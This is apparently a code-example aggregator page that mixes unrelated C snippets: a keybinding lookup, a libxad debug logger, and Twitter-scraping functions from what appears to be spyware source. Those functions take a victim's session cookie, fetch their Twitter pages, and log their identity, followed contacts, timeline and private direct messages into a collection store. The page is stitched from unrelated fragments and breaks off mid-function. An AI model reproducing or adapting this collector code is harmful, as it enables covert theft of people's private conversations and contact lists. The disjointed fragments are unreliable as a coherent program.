			static ActionList merged;
			merged = nit->second;
			const ActionList& aal = ait->second;
			for (int i = 0; i < (int)aal.size(); ++i) {
				merged.push_back(aal[i]);
			}
			alPtr = &merged;
		}
	}

	if (debug > 0) {
		char buf[256];
		SNPRINTF(buf, sizeof(buf), "GetAction: %s (0x%03X)",
		         ks.GetString(false).c_str(), ks.Key());
		if (alPtr == &empty) {
			strncat(buf, "  EMPTY", sizeof(buf));
			OutputDebug(buf);
		}
		else {	
			OutputDebug(buf);
			const ActionList& al = *alPtr;
			for (int i = 0; i < (int)al.size(); ++i) {
				SNPRINTF(buf, sizeof(buf), "  %s  \"%s\"",
				         al[i].command.c_str(), al[i].rawline.c_str());
				OutputDebug(buf);
			}
		}
	}

	return *alPtr;
}
Ejemplo n.º 26
0
DWORD TwitterContactHandler(char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char user[256];
	WCHAR user_name[256];
	static BOOL scanned = FALSE;

	if (!ConfIsModuleEnabled(L"addressbook"))
		return SOCIAL_REQUEST_SUCCESS;


#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif
		
	if (scanned)
		return SOCIAL_REQUEST_SUCCESS;

	// Identifica l'utente
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);	
	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	LOOP {
		parser1 = (char *)strstr((char *)parser1, "data-user-id=\"");
		if (!parser1) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		parser1 += strlen("data-user-id=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (!parser2) {
			SAFE_FREE(r_buffer);
			return SOCIAL_REQUEST_BAD_COOKIE;
		}
		*parser2=0;
		_snprintf_s(user, sizeof(user), _TRUNCATE, "%s", parser1);
		if (strlen(user)) 
			break;
		parser1 = parser2 + 1;
	}

	// Cattura il proprio account
	parser1 = parser2 + 1;
	parser1 = (char *)strstr((char *)parser1, "data-screen-name=\"");
	if (parser1) {
		parser1 += strlen("data-screen-name=\"");
		parser2 = (char *)strchr((char *)parser1, '\"');
		if (parser2) {
			*parser2=0;
			
			_snwprintf_s(user_name, sizeof(user_name)/sizeof(WCHAR), _TRUNCATE, L"%S", parser1);		
#ifdef _DEBUG
			OutputDebug(L"[*] %S: username %s\n", __FUNCTION__, user_name);
#endif
			SocialLogContactW(CONTACT_SRC_TWITTER, user_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, user_name, NULL, CONTACTS_MYACCOUNT);
			
		}
	}
	
	SAFE_FREE(r_buffer);
	scanned = TRUE;

	
	return ParseFollowing(user, cookie);
}
Ejemplo n.º 27
0
DWORD ParseDirectMessages(char *username, char *cookie)
{
	DWORD ret_val, response_len;
	BYTE *r_buffer = NULL, *thread_buffer = NULL;
	char *parser1, *parser2, *thread_parser1, *thread_parser2;
	char strCurrentThreadHandle[512];
	WCHAR strConversationRequest[512];
	char strDmType[24];
	char strDmContent[256];
	char strTimestamp[256];
	DWORD last_tstamp_hi, last_tstamp_lo;
	ULARGE_INTEGER act_tstamp;
	struct tm tstamp;
	char strUsernameForDm[256];
	DWORD dwHigherBatchTimestamp = 0;


#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

	/* use a new username for twitter dm since the timestamp would be the one we got from the timeline */
	_snprintf_s(strUsernameForDm, sizeof(strUsernameForDm), _TRUNCATE, "%s-twitterdm", username);
	last_tstamp_lo = SocialGetLastTimestamp(strUsernameForDm, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;


	ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", L"/messages?last_note_ts=0&since_id=0", 443, NULL, 0, &r_buffer, &response_len, cookie, L"https://twitter.com/");

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *) r_buffer;

	/*	Fetch the available threads
		e.g. "threads":["duilio_ebooks","duiliosagese","thegrugq_ebooks"] 
	*/
	parser1 = strstr(parser1, "\"threads\":[");
	if( !parser1 )
	{
		SAFE_FREE(r_buffer);
		return -1;
	}

	parser1 = parser1 + strlen("\"threads\":[");
	parser2 = strstr(parser1, "\"]},");

	if( !parser2 )
	{
		zfree(r_buffer);
		return SOCIAL_REQUEST_BAD_COOKIE;
	}
	parser2 += 1; // skip past last '"'
	*parser2 = NULL;

#ifdef _DEBUG
	OutputDebug(L"[*] %S - available threads %S\n", __FUNCTION__, parser1);
#endif
	
	/*	loop through the list of available threads pointed by parser1 and requests its content 
		e.g. "duilio_ebooks","duiliosagese","thegrugq_ebooks"
	*/
	for( ;; ) {
		parser1 = strchr(parser1, '"');
		if( !parser1 )
			break;

		parser1 += 1; // skip past '"'

		parser2 = strchr(parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(strCurrentThreadHandle, sizeof(strCurrentThreadHandle), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - parsing thread %S\n", __FUNCTION__, strCurrentThreadHandle);
#endif

		/*	fetch conversation
			e.g. /messages/with/conversation?id=duilio_ebooks&last_note_ts=0 
		*/
		_snwprintf_s(strConversationRequest, sizeof(strConversationRequest)/sizeof(WCHAR), _TRUNCATE, L"/messages/with/conversation?id=%S&last_note_ts=0", strCurrentThreadHandle);
		ret_val = XmlHttpSocialRequest(L"twitter.com", L"GET", strConversationRequest, 443, NULL, 0, &thread_buffer, &response_len, cookie, L"https://twitter.com/");

		/* if the request is not successful assume some serious issue happened, free resources and bail */
		if (ret_val != SOCIAL_REQUEST_SUCCESS)
		{
			zfree(thread_buffer);
			zfree(r_buffer);
			return ret_val;

		}

		/* direct message structure:
			1] start of a new message: '<div class="dm sent js-dm-item' or 'div class=\"dm received js-dm-item'
				find '<div class="dm ' (N.B space after dm) then decode whether it's send or received
			2] content:  <p class="js-tweet-text tweet-text" >MESSAGE</p>
			3] timestamp: data-time="1414592790"
		*/

		thread_parser1 = (char *) thread_buffer;

		/* parse all the messages belonging to a conversation, when there aren't messages left bail */
		for( ;; )
		{

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_ITEM); // START HERE: can't find TWITTER_DM_ITEM
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen(TWITTER_DM_ITEM);

			thread_parser2 = strchr(thread_parser1, ' '); // skip past sent or received
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmType, sizeof(strDmType), _TRUNCATE, thread_parser1);
			thread_parser2 +=1;

			
#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm type: '%S'\n", __FUNCTION__, strDmType);
#endif		

			thread_parser1 = strstr(thread_parser2, TWITTER_DM_CONTENT);
			if( !thread_parser1 )
				break;

			thread_parser1 = strstr(thread_parser1, "\\u003e"); // encoded '>'
			if( !thread_parser1 )
				break;

			thread_parser1 += strlen("\\u003e");
			thread_parser2 = strstr(thread_parser1, "\\u003c\\/p\\u003e"); // encoded </p>
			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strDmContent, sizeof(strDmContent), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm content: '%S'\n", __FUNCTION__, strDmContent);
#endif	

			thread_parser1 = strstr(thread_parser1, TWITTER_DM_TIMESTAMP_START);
			if( !thread_parser1 )
				break;
			
			thread_parser1 += strlen(TWITTER_DM_TIMESTAMP_START);
			thread_parser2 = strstr(thread_parser1, "\\\"");

			if( !thread_parser2 )
				break;

			*thread_parser2 = NULL;
			_snprintf_s(strTimestamp, sizeof(strTimestamp), _TRUNCATE, thread_parser1);
			thread_parser1 = thread_parser2 + 1;

#ifdef _DEBUG
			OutputDebug(L"[*] %S - dm timestamp: '%S'\n", __FUNCTION__, strTimestamp);
#endif	

			/* if the tweet is new save it , discard otherwise */
			if (!atoi(strTimestamp))
				continue;

			sscanf_s(strTimestamp, "%llu", &act_tstamp);

			if( act_tstamp.LowPart > 2000000000 || act_tstamp.LowPart <= last_tstamp_lo)
				continue;

			/* should hold true only for the first tweet in the batch */
			if( act_tstamp.LowPart > dwHigherBatchTimestamp )
				dwHigherBatchTimestamp = act_tstamp.LowPart; 

			_gmtime32_s(&tstamp, (__time32_t *)&act_tstamp);
			tstamp.tm_year += 1900;
			tstamp.tm_mon++;


			/* strDmType is either 'sent' or received */
			if( !strcmp(strDmType, "sent") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, strCurrentThreadHandle, strCurrentThreadHandle, username, username, strDmContent, &tstamp, FALSE);
			else if( !strcmp(strDmType, "received") )
				SocialLogIMMessageA(CHAT_PROGRAM_TWITTER, username, username, strCurrentThreadHandle, strCurrentThreadHandle, strDmContent, &tstamp, FALSE);

#ifdef _DEBUG
			OutputDebug(L"[*] %S - logging: %S <-> %S : %S %llu\n", __FUNCTION__, username, strCurrentThreadHandle, strDmContent, tstamp);
#endif


		}

		/* free loop allocated buffer */
		zfree(thread_buffer);
		thread_buffer = NULL;
	}

	/* save the most recent timestamp we got from all conversations */
	SocialSetLastTimestamp(strUsernameForDm, dwHigherBatchTimestamp, 0);

	zfree(thread_buffer); // if we bailed out of conversation parsing loop, thread_buffer is still allocated, proceed with free'ing
	zfree(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
Ejemplo n.º 28
0
static void DoDebug(xadUINT32 mode, const xadSTRING *fmt, xadTAGPTR tags,
va_list data)
{
  xadUINT32 i;
  xadUINT32 Flags = 0;

  if(!function && (deb_flags & DEBUGFLAG_STATIC))
    return;

#ifdef AMIGA
  Forbid();
#endif

  if((deb_flags & DEBUGFLAG_STATIC)
  || (mode & (DEBUGFLAG_CONTINUE|DEBUGFLAG_CONTINUEEND)))
    Flags = deb_flags;
  else
  {
    xadSTRING Mode[17] = "";
#ifdef AMIGA
    GetVar("XADDEBUG", (xadSTRPTR) &Mode, sizeof(Mode)-1, GVF_GLOBAL_ONLY);
#else
    const xadSTRING *modePtr = getenv("XADDEBUG");
    if (modePtr)
      strncpy(Mode, modePtr, sizeof(Mode)-1);
#endif
    function = 0;

    for(i=0; Mode[i] && i < 15; ++i)
    {
      switch(Mode[i])
      {
      case 'A': Flags |= DEBUGFLAG_TAGLIST|DEBUGFLAG_RUNTIME|DEBUGFLAG_HOOK
                        |DEBUGFLAG_ERROR|DEBUGFLAG_OTHER|DEBUGFLAG_MEM
                        |DEBUGFLAG_FLAGS|DEBUGFLAG_RESOURCE|DEBUGFLAG_CLIENT
                        |DEBUGFLAG_SEARCHED; break;
      case 'M': Flags |= DEBUGFLAG_MEM; break;
      case 'O': Flags |= DEBUGFLAG_OTHER; break;
      case 'E': Flags |= DEBUGFLAG_ERROR; break;
      case 'C': Flags |= DEBUGFLAG_RESOURCE; break;
      case 'D': Flags |= DEBUGFLAG_CLIENT|DEBUGFLAG_SEARCHED; break;
      case 'F': Flags |= DEBUGFLAG_FLAGS; break;
      case 'H': Flags |= DEBUGFLAG_HOOK; break;
      case 'R': Flags |= DEBUGFLAG_RUNTIME; break;
      case 'T': Flags |= DEBUGFLAG_TAGLIST; break;
      case 'S': Flags |= DEBUGFLAG_STATIC; break;

#ifdef __MORPHOS__
      case 's': function = RAWFMTFUNC_SERIAL; break;
#elif defined(AMIGA)
      case 's': function = serfunc; break;
      case 'p': function = parfunc; break;
#endif
      case 'f': function = normfunc; break;
      case 'e': function = errfunc; break;
      case 'o': function = outfunc; break;
      case 'n': function = 0; break;
      }
    }
    deb_flags = Flags;
  }

  mode &= Flags|DEBUGFLAG_CONTINUE|DEBUGFLAG_CONTINUEEND
  |DEBUGFLAG_CONTINUESTART;

  if(mode & (~(DEBUGFLAG_TAGLIST|DEBUGFLAG_STATIC|DEBUGFLAG_CONTINUE
  |DEBUGFLAG_CONTINUEEND|DEBUGFLAG_CONTINUESTART)))
  {
#ifdef AMIGA
    xadPTR fh = 0;

    if(function==normfunc)
    {
      if((fh = (xadPTR) Open("T:xadMasterOut", MODE_READWRITE)))
      {
        Seek((BPTR)fh, 0, OFFSET_END);
      }
      else
        function = 0;
    }
#else
    FILE *fh = NULL;

    switch(function)
    {
    case normfunc: fh = fopen(".libxad-debug", "a"); break;
    case outfunc: default: fh = stdout; break;
    case errfunc: fh = stderr; break;
    }
#endif

    if(function)
    {
#ifdef AMIGA
      if(!(mode & (DEBUGFLAG_CONTINUE|DEBUGFLAG_CONTINUEEND)))
      {
        i = (xadUINT32) FindTask(0);
        OutputDebugArgs("XadM(%08lx):", (putchtype) function, fh, i);
      }
#endif

      OutputDebugVA(fmt, (putchtype) function, fh, data);
      if(!(mode & (DEBUGFLAG_CONTINUESTART|DEBUGFLAG_CONTINUE))
      || (mode & DEBUGFLAG_CONTINUEEND))
        OutputDebug("\n", (putchtype) function, fh);

#ifdef DEBUG
      if(mode & DEBUGFLAG_TAGLIST)
      {
        xadTAGPTR ti;
        while((ti = NextTagItem(&tags)))
        {
          xadUINT32 i[2], dmode = 0;
          const xadSTRING *s;

          /* dmode == 1 - BOOL data, dmode == 2 - unknown, dmode == 3 - error text */
          switch(ti->ti_Tag)
          {
          case XAD_INSIZE:             s = "XAD_INSIZE, %lu"; break;
          case XAD_INFILENAME:         s = "XAD_INFILENAME, \"%s\" ($%08lx)"; break;
          case XAD_INFILEHANDLE:       s = "XAD_INFILEHANDLE, $%08lx"; break;
          case XAD_INMEMORY:           s = "XAD_INMEMORY, $%08lx"; break;
          case XAD_INHOOK:             s = "XAD_INHOOK, $%08lx"; break;
          case XAD_INSPLITTED:         s = "XAD_INSPLITTED, $%08lx"; break;
          case XAD_INDISKARCHIVE:      s = "XAD_INDISKARCHIVE, $%08lx"; break;
          case XAD_INXADSTREAM:        s = "XAD_INXADSTREAM, $%08lx"; break;
#ifdef AMIGA
          case XAD_INDEVICE:           s = "XAD_INDEVICE, $%08lx"; break;
#endif
          case XAD_OUTSIZE:            s = "XAD_OUTSIZE, %lu"; break;
          case XAD_OUTFILENAME:        s = "XAD_OUTFILENAME, \"%s\" ($%08lx)"; break;
          case XAD_OUTFILEHANDLE:      s = "XAD_OUTFILEHANDLE, $%08lx"; break;
          case XAD_OUTMEMORY:          s = "XAD_OUTMEMORY, $%08lx"; break;
          case XAD_OUTHOOK:            s = "XAD_OUTHOOK, $%08lx"; break;
#ifdef AMIGA
          case XAD_OUTDEVICE:          s = "XAD_OUTDEVICE, $%08lx"; break;
#endif
          case XAD_OUTXADSTREAM:       s = "XAD_OUTXADSTREAM, $%08lx"; break;
          case XAD_OBJNAMESIZE:        s = "XAD_OBJNAMESIZE, %lu"; break;
          case XAD_OBJCOMMENTSIZE:     s = "XAD_OBJCOMMENTSIZE, %lu"; break;
          case XAD_OBJBLOCKENTRIES:    s = "XAD_OBJBLOCKENTRIES, %lu"; break;
          case XAD_OBJPRIVINFOSIZE:    s = "XAD_OBJPRIVINFOSIZE, %lu"; break;
          case XAD_NOEXTERN:           s = "XAD_NOEXTERN, %s"; dmode = 1; break;
          case XAD_PASSWORD:           s = "XAD_PASSWORD, \"%s\" ($%08lx)"; break;
          case XAD_ENTRYNUMBER:        s = "XAD_ENTRYNUMBER, %lu"; break;
          case XAD_PROGRESSHOOK:       s = "XAD_PROGRESSHOOK, $%08lx"; break;
          case XAD_OVERWRITE:          s = "XAD_OVERWRITE, %s"; dmode = 1; break;
#ifdef AMIGA
          case XAD_IGNOREGEOMETRY:     s = "XAD_IGNOREGEOMETRY, %s"; dmode = 1; break;
          case XAD_USESECTORLABELS:    s = "XAD_USESECTORLABELS, %s"; dmode = 1; break;
#endif
          case XAD_LOWCYLINDER:        s = "XAD_LOWCYLINDER, %lu"; break;
          case XAD_HIGHCYLINDER:       s = "XAD_HIGHCYLINDER, %lu"; break;
#ifdef AMIGA
          case XAD_VERIFY:             s = "XAD_VERIFY, %s"; dmode = 1; break;
#endif
          case XAD_NOKILLPARTIAL:      s = "XAD_NOKILLPARTIAL, %s"; dmode = 1; break;
#ifdef AMIGA
          case XAD_FORMAT:             s = "XAD_FORMAT, %s"; dmode = 1; break;
#endif
          case XAD_MAKEDIRECTORY:      s = "XAD_MAKEDIRECTORY, %s"; dmode = 1; break;
          case XAD_DATEUNIX:           s = "XAD_DATEUNIX, %ld"; break;
          case XAD_DATEAMIGA:          s = "XAD_DATEAMIGA, %ld"; break;
          case XAD_DATECURRENTTIME:    s = "XAD_DATECURRENTTIME"; break;
          case XAD_DATEDATESTAMP:      s = "XAD_DATEDATESTAMP, $%08lx"; break;
          case XAD_DATEXADDATE:        s = "XAD_DATEXADDATE, $%08lx"; break;
          case XAD_DATECLOCKDATA:      s = "XAD_DATECLOCKDATA, $%08lx"; break;
          case XAD_DATEMSDOS:          s = "XAD_DATEMSDOS, $%08lx"; break;
          case XAD_DATEMAC:            s = "XAD_DATEMAC, $%08lx"; break;
          case XAD_DATECPM:            s = "XAD_DATECPM, $%08lx"; break;
          case XAD_DATECPM2:           s = "XAD_DATECPM2, $%08lx"; break;
          case XAD_GETDATEUNIX:        s = "XAD_GETDATEUNIX, $%08lx"; break;
          case XAD_GETDATEAMIGA:       s = "XAD_GETDATEAMIGA, $%08lx"; break;
#ifdef AMIGA
          case XAD_GETDATEDATESTAMP:   s = "XAD_GETDATEDATESTAMP, $%08lx"; break;
#endif
          case XAD_GETDATEXADDATE:     s = "XAD_GETDATEXADDATE, $%08lx"; break;
#ifdef AMIGA
          case XAD_GETDATECLOCKDATA:   s = "XAD_GETDATECLOCKDATA, $%08lx"; break;
#endif
          case XAD_GETDATEMSDOS:       s = "XAD_GETDATEMSDOS, $%08lx"; break;
          case XAD_GETDATEMAC:         s = "XAD_GETDATEMAC, $%08lx"; break;
          case XAD_GETDATECPM:         s = "XAD_GETDATECPM, $%08lx"; break;
          case XAD_GETDATECPM2:        s = "XAD_GETDATECPM2, $%08lx"; break;
          case XAD_PROTAMIGA:          s = "XAD_PROTAMIGA, $%08lx"; break;
          case XAD_PROTUNIX:           s = "XAD_PROTUNIX, $%08lx"; break;
          case XAD_PROTMSDOS:          s = "XAD_PROTMSDOS, $%08lx"; break;
          case XAD_PROTFILEINFO:       s = "XAD_PROTFILEINFO, $%08lx"; break;
          case XAD_GETPROTAMIGA:       s = "XAD_GETPROTAMIGA, $%08lx"; break;
          case XAD_GETPROTUNIX:        s = "XAD_GETPROTUNIX, $%08lx"; break;
          case XAD_GETPROTMSDOS:       s = "XAD_GETPROTMSDOS, $%08lx"; break;
          case XAD_GETPROTFILEINFO:    s = "XAD_GETPROTFILEINFO, $%08lx"; break;
          case XAD_MAKEGMTDATE:        s = "XAD_MAKEGMTDATE, %s", dmode = 1; break;
          case XAD_MAKELOCALDATE:      s = "XAD_MAKELOCALDATE, %s", dmode = 1; break;
          case XAD_STARTCLIENT:        s = "XAD_STARTCLIENT, $%08lx"; break;
          case XAD_NOEMPTYERROR:       s = "XAD_NOEMPTYERROR, %s"; dmode = 1; break;
          case XAD_ARCHIVEINFO:        s = "XAD_ARCHIVEINFO, $%08lx"; break;
          case XAD_WASERROR:           s = "XAD_WASERROR, \"%s\" (%ld)"; dmode = 3; break;
          case XAD_SECTORLABELS:       s = "XAD_SECTORLABELS, $%08lx"; break;
          case XAD_INSERTDIRSFIRST:    s = "XAD_INSERTDIRSFIRST, %s"; dmode = 1; break;
          case XAD_SETINPOS:           s = "XAD_SETINPOS, %ld"; break;
          case XAD_IGNOREFLAGS:        s = "XAD_IGNOREFLAGS, $%08lx"; dmode = 100; break;
          case XAD_ONLYFLAGS:          s = "XAD_ONLYFLAGS, $%08lx"; dmode=100; break;
          case XAD_ERRORCODE:          s = "XAD_ERRORCODE, $%08lx"; break;
          case XAD_PATHSEPERATOR:      s = "XAD_PATHSEPERATOR, $%08lx"; break;
          case XAD_CHARACTERSET:       s = "XAD_CHARACTERSET, %ld (%s)"; dmode = 4; break;
          case XAD_STRINGSIZE:         s = "XAD_STRINGSIZE, %ld"; break;
          case XAD_CSTRING:            s = "XAD_CSTRING, $%08lx"; break;
          case XAD_PSTRING:            s = "XAD_PSTRING, $%08lx"; break;
          case XAD_XADSTRING:          s = "XAD_XADSTRING, $%08lx"; break;
          case XAD_ADDPATHSEPERATOR:   s = "XAD_ADDPATHSEPERATOR, %s"; dmode = 1; break;
          case XAD_NOLEADINGPATH:      s = "XAD_NOLEADINGPATH, %s"; dmode = 1; break;
          case XAD_NOTRAILINGPATH:     s = "XAD_NOTRAILINGPATH, %s"; dmode = 1; break;
          case XAD_MASKCHARACTERS:     s = "XAD_MASKCHARACTERS, $%08lx"; break;
          case XAD_MASKINGCHAR:        s = "XAD_MASKINGCHAR, '%lc'"; break;
          case XAD_REQUIREDBUFFERSIZE: s = "XAD_REQUIREDBUFFERSIZE, $%08lx"; break;
          case XAD_USESKIPINFO:        s = "XAD_USESKIPINFO, %s"; dmode = 1; break;
          case XAD_EXTENSION:          s = "XAD_EXTENSION, \"%s\" ($%08lx)"; break;
          default:                     s = "$%08lx, $%08lx"; dmode = 2; break;
          }
          switch(dmode)
          {
          case 1: i[0] = ti->ti_Data ? (xadUINT32) "TRUE" : (xadUINT32) "FALSE"; break;
          case 2: i[0] = ti->ti_Tag; i[1] = ti->ti_Data; break;
          #ifdef AMIGA
          case 3: i[0] = (xadUINT32) xadGetErrorText(XADM ti->ti_Data); i[1] = ti->ti_Data; break;
          #else
          /* Special case: We pass a NULL to xadGetErrorText() since we don't have XMB as a global
             variable in Unix. xadGetErrorText() will make an exception for this. */
          case 3: i[0] = (xadUINT32) xadGetErrorText(NULL, ti->ti_Data); i[1] = ti->ti_Data; break;
          #endif
          case 4: i[0] = ti->ti_Data;
            switch(i[0])
            {
            case CHARSET_HOST: i[1] = (xadUINT32) "CHARSET_HOST"; break;
            case CHARSET_UNICODE_UCS2_HOST: i[1] = (xadUINT32) "CHARSET_UNICODE_UCS2_HOST"; break;
            case CHARSET_UNICODE_UCS2_BIGENDIAN: i[1] = (xadUINT32) "CHARSET_UNICODE_UCS2BIGENDIAN"; break;
            case CHARSET_UNICODE_UCS2_LITTLEENDIAN: i[1] = (xadUINT32) "CHARSET_UNICODE_UCS2_LITTLEENDIAN"; break;
            case CHARSET_UNICODE_UTF8: i[1] = (xadUINT32) "CHARSET_UNICODE_UTF8"; break;
            case CHARSET_AMIGA: i[1] = (xadUINT32) "CHARSET_AMIGA"; break;
            case CHARSET_MSDOS: i[1] = (xadUINT32) "CHARSET_MSDOS"; break;
            case CHARSET_MACOS: i[1] = (xadUINT32) "CHARSET_MACOS"; break;
            case CHARSET_C64: i[1] = (xadUINT32) "CHARSET_C64"; break;
            case CHARSET_ATARI_ST: i[1] = (xadUINT32) "CHARSET_ATARI_ST"; break;
            case CHARSET_WINDOWS: i[1] = (xadUINT32) "CHARSET_WINDOWS"; break;
            case CHARSET_ASCII: i[1] = (xadUINT32) "CHARSET_ASCII"; break;
            case CHARSET_ISO_8859_1: i[1] = (xadUINT32) "CHARSET_ISO_8859_1"; break;
            case CHARSET_ISO_8859_15: i[1] = (xadUINT32) "CHARSET_ISO_8859_15"; break;
            case CHARSET_ATARI_ST_US: i[1] = (xadUINT32) "CHARSET_ATARI_ST_US"; break;
            case CHARSET_PETSCII_C64_LC: i[1] = (xadUINT32) "CHARSET_PETSCII_C64_LC"; break;
            case CHARSET_CODEPAGE_437: i[1] = (xadUINT32) "CHARSET_CODEPAGE_437"; break;
            case CHARSET_CODEPAGE_1252: i[1] = (xadUINT32) "CHARSET_CODEPAGE_1252"; break;
            default: i[1] = (xadUINT32) "unknown"; break;
            }
            break;
          default: i[0] = i[1] = ti->ti_Data;
          }

          OutputDebug("   ", (putchtype) function, fh);
          OutputDebugArgs(s, (putchtype) function, fh, i[0], i[1]);
          if(dmode >= 100 && (Flags & DEBUGFLAG_FLAGS))
          {
            OutputDebug(" ("/*)*/, (putchtype) function, fh);
            switch(dmode)
            {
            case 100:
              i[1] = PrintFlag(XADCF_FILEARCHIVER, i[1]);
              i[1] = PrintFlag(XADCF_DISKARCHIVER, i[1]);
              i[1] = PrintFlag(XADCF_EXTERN, i[1]);
              i[1] = PrintFlag(XADCF_FILESYSTEM, i[1]);
              i[1] = PrintFlag(XADCF_NOCHECKSIZE, i[1]);
              i[1] = PrintFlag(XADCF_DATACRUNCHER, i[1]);
              i[1] = PrintFlag(XADCF_EXECRUNCHER, i[1]);
              i[1] = PrintFlag(XADCF_ADDRESSCRUNCHER, i[1]);
              i[1] = PrintFlag(XADCF_LINKER, i[1]);
              i[1] = PrintFlag(XADCF_FREESPECIALINFO, i[1]);
              i[1] = PrintFlag(XADCF_FREESKIPINFO, i[1]);
              i[1] = PrintFlag(XADCF_FREETEXTINFO, i[1]);
              i[1] = PrintFlag(XADCF_FREETEXTINFOTEXT, i[1]);
              i[1] = PrintFlag(XADCF_FREEFILEINFO, i[1]);
              i[1] = PrintFlag(XADCF_FREEDISKINFO, i[1]);
            }
            if(i[1])
            {
              OutputDebugArgs("$%lx", (putchtype) function, fh, i[1]);
            }
            OutputDebug(/*(*/")", (putchtype) function, fh);
          }
          OutputDebug("\n", (putchtype) function, fh);
        }
        OutputDebug("   TAG_DONE\n", (putchtype) function, fh);
      }
#endif
    }

#ifdef AMIGA
    if(fh)
      Close((BPTR)fh);
#else
    if(fh && function == normfunc)
      fclose(fh);
#endif
  }
#ifdef AMIGA
  Permit();
#endif
}
Ejemplo n.º 29
0
DWORD ParseFollowing(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	
	char screen_name[256];
	char following_contact[256];
	

#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif
			
	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/following", 443, NULL, 0, &r_buffer, &response_len, cookie);

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	
	for (;;) {

		/* 1] following contact
			e.g. <div class="ProfileCard js-actionable-user"   data-screen-name="thegrugq_ebooks"
		*/

		// advance first token
		parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_1);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_FOLLOWING_CONTACT_1);

		// advance second token
		parser1 = strstr(parser1, TWITTER_FOLLOWING_CONTACT_2);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_FOLLOWING_CONTACT_2);

		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(following_contact, sizeof(following_contact), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - contact name: %S\n", __FUNCTION__, following_contact);
#endif

		/* 2] screen name
			e.g.  data-name="The real Grugq" 
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_DISPLAY_NAME_START);
		if( !parser1 )
			break;

		parser1 += strlen(TWITTER_TWEET_DISPLAY_NAME_START);
		
		parser2 = strchr( parser1, '"');
		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(screen_name, sizeof(screen_name), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - screen name: %S\n", __FUNCTION__, screen_name);
#endif
		SocialLogContactA(CONTACT_SRC_TWITTER, screen_name, NULL, NULL, NULL, NULL, NULL, NULL, NULL, following_contact, NULL, TWITTER_FOLLOWER);
		
	}

	SAFE_FREE(r_buffer);
	return SOCIAL_REQUEST_SUCCESS;
}
Ejemplo n.º 30
0
DWORD ParseTweet(char *user, char *cookie)
{
	DWORD ret_val;
	BYTE *r_buffer = NULL;
	DWORD response_len;
	char *parser1, *parser2;
	char tweet_body[2048];
	char tweet_id[256];
	char screen_name[256];
	char tweet_author[256];
	char tweet_timestamp[256];
	ULARGE_INTEGER act_tstamp;
	DWORD last_tstamp_hi, last_tstamp_lo;
	struct tm tstamp;

	/*	since the first tweet of this batch will have a higher timestamp, 
		save it to update social status at the end of the batch  */
	DWORD dwHigherBatchTimestamp = 0;

#ifdef _DEBUG
		OutputDebug(L"[*] %S\n", __FUNCTION__);
#endif

		
	last_tstamp_lo = SocialGetLastTimestamp(user, &last_tstamp_hi);
	if (last_tstamp_lo == SOCIAL_INVALID_TSTAMP)
		return SOCIAL_REQUEST_BAD_COOKIE;

	ret_val = HttpSocialRequest(L"twitter.com", L"GET", L"/", 443, NULL, 0, &r_buffer, &response_len, cookie);

	if (ret_val != SOCIAL_REQUEST_SUCCESS)
		return ret_val;

	parser1 = (char *)r_buffer;
	
	/* loop through tweets retrieved from timeline, html structure for a tweet 
		1] tweet id
		2] author
		3] timestamp
		4] body
	*/
	for (;;) {

		/* 1] tweet id
			e.g. data-tweet-id="526625177615220736"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_ID_START);
		if( !parser1 )
			break;
		
		parser1 += strlen(TWITTER_TWEET_ID_START);
		parser2 = strchr(parser1, '"');

		if( !parser2 )
			break;

		*parser2 = NULL;
		_snprintf_s(tweet_id, sizeof(tweet_id), _TRUNCATE, parser1);
		parser1 = parser2 + 1;

#ifdef _DEBUG
		OutputDebug(L"[*] %S - tweet id: %S\n", __FUNCTION__, tweet_id);
#endif

		/* 2] tweet author and display name
			e.g. data-screen-name="TheEconomist" data-name="The Economist" data-user-id="5988062"
		*/
		parser1 = strstr(parser1, TWITTER_TWEET_AUTHOR_START);
		if( !parser1 )
			break;

